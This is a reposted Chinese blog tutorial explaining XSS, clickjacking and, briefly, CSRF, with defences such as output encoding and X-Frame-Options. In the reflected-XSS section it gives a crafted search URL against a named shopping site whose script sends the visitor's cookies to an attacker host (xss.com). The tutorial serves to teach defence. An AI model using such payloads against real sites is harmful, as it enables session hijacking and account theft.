【转】关于web安全的三个攻防姿势

我们最常见的Web安全攻击有以下几种

  1. XSS 跨站脚本攻击
  2. CSRF 跨站请求伪造
  3. clickjacking 点击劫持/UI-覆盖攻击
    下面我们来一一分析

XSS 跨站脚本攻击

跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
分类

  1. Reflected XSS(基于反射的XSS攻击)
  2. Stored XSS(基于存储的XSS攻击)
  3. DOM-based or local XSS(基于DOM或本地的XSS攻击)

Reflected XSS(基于反射的XSS攻击)
主要通过利用系统反馈行为漏洞,并欺骗用户主动触发,从而发起Web攻击。

举个例子:
1.假设,在严选网站搜索商品,当搜索不到时站点会做“xxx未上架提示”。如下图。

2. 在搜索框搜索内容,填入
“<script>alert('xss')</script>”
点击搜索。
3. 当前端页面没有对填入的数据进行过滤,直接显示在页面上, 这时就会alert那个字符串出来。

(当然上图是模拟的)
以上3步只是“自娱自乐”,XSS最关键的是第四步。
4. 进而可以构造获取用户cookies的地址,通过QQ群或者垃圾邮件,来让其他人点击这个地址:
http://you.163.com/search?keyword=&lt;script&gt;document.location=<span class="string">'http://xss.com/get?cookie='</span>+document.cookie&lt;/script&gt;
如果受骗的用户刚好已经登录过严选网站,那么,用户的登录cookie信息就已经发到了攻击者的服务器(xss.com)了。当然,攻击者会做一些更过分的操作。
Stored XSS(基于存储的XSS攻击)
Stored XSS和Reflected XSS的差别就在于,具有攻击性的脚本被保存到了服务器并且可以被普通用户完整的从服务的取得并执行,从而获得了在网络上传播的能力。

再举个栗子:

  1. 发一篇文章,里面包含了恶意脚本
    你好!当你看到这段文字时,你的信息已经不安全了!
  2. 后端没有对文章进行过滤,直接保存文章内容到数据库。
  3. 当其他读者看这篇文章的时候,包含的恶意脚本就会执行。
    tips:文章是保存整个HTML内容的,前端显示时候也不做过滤,就极可能出现这种情况。
    此为题多从在于博客网站。
    如果我们的操作不仅仅是弹出一个信息,而且删除一篇文章,发一篇反动的文章,或者成为我的粉丝并且将这篇带有恶意脚本的文章转发,这样是不是就具有了攻击性。
    DOM-based or local XSS(基于DOM或本地的XSS攻击)
    DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。

DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。

可能触发DOM型XSS的属性:

document.referer属性

window.name属性

location属性

innerHTML属性

documen.write属性
总结
XSS攻击的本质就是,利用一切手段在目标用户的浏览器中执行攻击脚本。
防范
对于一切用户的输入、输出、客户端的输出内容视为不可信,在数据添加到DOM或者执行了DOM API的时候,我们需要对内容进行HtmlEncode或JavaScriptEncode,以预防XSS攻击。

CSRF 跨站请求伪造

CSRF我在这篇文章里讲过,在这里就不介绍了

点击劫持

点击劫持,英文名clickjacking,也叫UI覆盖攻击,攻击者会利用一个或多个透明或不透明的层来诱骗用户支持点击按钮的操作,而实际的点击确实用户看不到的一个按钮,从而达到在用户不知情的情况下实施攻击。
这种攻击方式的关键在于可以实现页中页的 iframe 标签,并且可以使用css样式表将他不可见

如以上示意图的蓝色层,攻击者会通过一定的手段诱惑用户“在红色层”输入信息,但用户实际上实在蓝色层中,以此做欺骗行为。

拿支付宝做个例子


是的,这个是我伪造的,如果我将真正的充值站点隐藏在此界面上方。我想,聪明的你已经知道clickjacking的危险性了。

上图我估计做了一下错位和降低透明度,是不是很有意思呢?傻傻分不清的用户还以为是领取了奖品,其实是给陌生人充值了话费。
这种方法最常见的攻击场景是伪造一些网站盗取帐号信息,如支付宝、QQ、网易帐号等帐号的账密



目前,clickjacking还算比较冷门,很多安全意识不强的网站还未着手做clickjacking的防范。这是很危险的。

防范

防止点击劫持有两种主要方法:

X-FRAME-OPTIONS

X-FRAME-OPTIONS是微软提出的一个http头,指示浏览器不允许从其他域进行取景,专门用来防御利用iframe嵌套的点击劫持攻击。并且在IE8、Firefox3.6、Chrome4以上的版本均能很好的支持。
这个头有三个值:
DENY // 拒绝任何域加载
SAMEORIGIN // 允许同源域下加载
ALLOW-FROM // 可以定义允许frame加载的页面地址

顶层判断

在UI中采用防御性代码,以确保当前帧是最顶层的窗口

方法有多中,如
top != self || top.location != self.location || top.location != location

posted @ 2019-07-05 15:54  不忘编码  阅读(408)  评论(0)    收藏  举报